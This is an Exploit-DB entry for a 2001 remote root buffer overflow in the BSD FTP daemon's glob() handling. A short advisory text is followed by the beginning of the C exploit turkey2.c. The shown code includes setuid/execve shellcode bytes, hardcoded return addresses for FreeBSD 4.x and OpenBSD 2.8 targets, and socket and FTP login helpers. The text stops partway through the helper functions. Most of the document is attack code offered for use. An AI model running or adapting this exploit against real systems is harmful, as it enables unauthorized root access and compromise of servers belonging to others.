Exploit-DB #20731
Description: FreeBSD 2.2-4.2 / NetBSD 1.2-4.5 / OpenBSD 2.x - FTPd 'glob()' Remote Buffer Overflow
Type: remote
Platform: bsd
Date: 2001-04-14
Author: fish stiqz

Exploit:
// source: https://www.securityfocus.com/bid/2548/info


The BSD ftp daemon and derivatives (such as IRIX ftpd or the ftp daemon shipped with Kerberos 5) contain a number of buffer overflows that may lead to a compromise of root access to malicious users.

During parsing operations, the ftp daemon assumes that there can never be more than 512 bytes of user-supplied data. This is because that is usually how much data is read from a socket. Because of this assumption, certain memory copy operations involving user data lack bounds checking.

It is possible for users to use metacharacters to expand file/path names through interpretation by glob() and exploit these overflowable conditions. In order to do so, the attacker's ftp account must be able to either create directories or directories with long enough names must exist already.

Any attacker to successfully exploit this vulnerability would gain root access on the target host. 

/* 
 * turkey2.c - "gobble gobble"
 *
 * REMOTE ROOT EXPLOIT FOR BSD FTPD
 *   by: fish stiqz <fish@analog.org>   04/14/2001
 *
 * shouts: trey, dono, hampton and The Analog Organization.
 *         
 * Notes:
 *  Doesn't break chroot so requires an account.
 * 
 *  Fixed a design issue I had previously overlooked.
 *  Added support for OpenBSD 2.8 =).
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>
#include <pwd.h>


#define FTP_PORT 21
#define MAXX(a,b) ((a) < (b) ? (b) : (a))

#define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */

extern int errno;

int debug_read;
int debug_write;


/*
 * Non-ripped 45 byte bsd shellcode which does setuid(0) and execve()
 * and does not contain any '/' characters. 
 */
char bsdcode[] = 
"\x29\xc0\x50\xb0\x17\x50\xcd\x80"
"\x29\xc0\x50\xbf\x66\x69\x73\x68"
"\x29\xf6\x66\xbe\x49\x46\x31\xfe"
"\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
"\x56\x89\xe3\x50\x54\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";


/* architecture structure */
struct arch {
    char *description;
    char *shellcode;
    unsigned long code_addr;
};


/* available targets */
struct arch archlist[] = 
{
    { "FreeBSD 4.X (FTP server (Version 6.00LS))", bsdcode, 0xbfbfc2c8 },
    { "OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))", bsdcode, 0xdfbfa1c8 }
};


/*
 * function prototypes.
 */
void *Malloc(size_t);
void *Realloc(void *, size_t);
char *Strdup(char *);
int get_ip(struct in_addr *, char *);
int tcp_connect(char *, unsigned int);
ssize_t write_sock(int, char *);
int sock_readline(int, char *, int);
char *read_sock(int);
int ftp_login(int, char *, char *);
char *ftp_gethomedir(int);
int ftp_mkdir(int, char *);
int ftp_chdir(int, char *);
int ftp_quit(int);
void possibly_rooted(int);
char *random_string(void);
void send_glob(int, char *);
int ftp_glob_exploit(int, char *, unsigned long, char *);
int verify_shellcode(char *);
void usage(char *);
void list_targets(void);


/* 
 * Error cheq'n wrapper for malloc.
 */
void *Malloc(size_t n)
{
    void *tmp;
    
    if((tmp = malloc(n)) == NULL)
    {
        fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
        exit(EXIT_FAILURE);
    }

    return tmp;
}


/*
 * Error cheq'n realloc.
 */
void *Realloc(void *ptr, size_t n)
{
    void *tmp;
    
    if((tmp = realloc(ptr, n)) == NULL)
    {
        fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
        exit(EXIT_FAILURE);
    }

    return tmp;
}


/* 
 * Error cheq'n strdup.
 */
char *Strdup(char *str)
{
    char *s;

    if((s = strdup(str)) == NULL)
    {
        fprintf(stderr, "strdup failed! exiting...\n");
        exit(EXIT_FAILURE);
    }
    
    return s;
}


/*
 * translates a host from its string representation (either in numbers 
 * and dots notation or hostname format) into its binary ip address
 * and stores it in the in_addr struct passed in.
 *
 * return values: 0 on success, != 0 on failure.
 */
int get_ip(struct in_addr *iaddr, char *host)
{
    struct hostent *hp;
    
    /* first check to see if its in num-dot format */
    if(inet_aton(host, iaddr) != 0)
	return 0;

    /* next, do a gethostbyname */
    if((hp = gethostbyname(host)) != NULL)
    {
	if(hp->h_addr_list != NULL)
	{
	    memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
	    return 0;
	}
	return -1;
    }

    return -1;
}


/*
 * initiates a tcp connection to the specified host (either in 
 * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
 * to the host's tcp port.
 *
 * return values:  != -1 on success, -1 on failure.
 */
int tcp_connect(char *host, unsigned int port)
{
    int sock;
    struct sockaddr_in saddress;
    struct in_addr *iaddr;

    iaddr = Malloc(sizeof(struct in_addr));

    /* write the hostname information into the in_addr structure */
    if(get_ip(iaddr, host) != 0)
	return -1;

    saddress.sin_addr.s_addr = iaddr->s_addr;
    saddress.sin_family      = AF_INET;
    saddress.sin_port        = htons(port);
        
    /* create the socket */
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	return -1;
	
    /* make the connection */
    if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
    {
	close(sock);
	return -1;
    }
   
    /* everything succeeded, return the connected socket */
    return sock;
}


/*
 * a wrapper for write to enable us to do some debugging.
 */
int write_sock(int fd, char *buf)
{
    if(debug_write)
 	printf(" > %s", buf);

    return write(fd, buf, strlen(buf));
}

/*
 * reads a line from the socket, stores it into buffer,
 * doesnt null terminate.
 */
int sock_readline(int sock, char *buffer, int maxsize)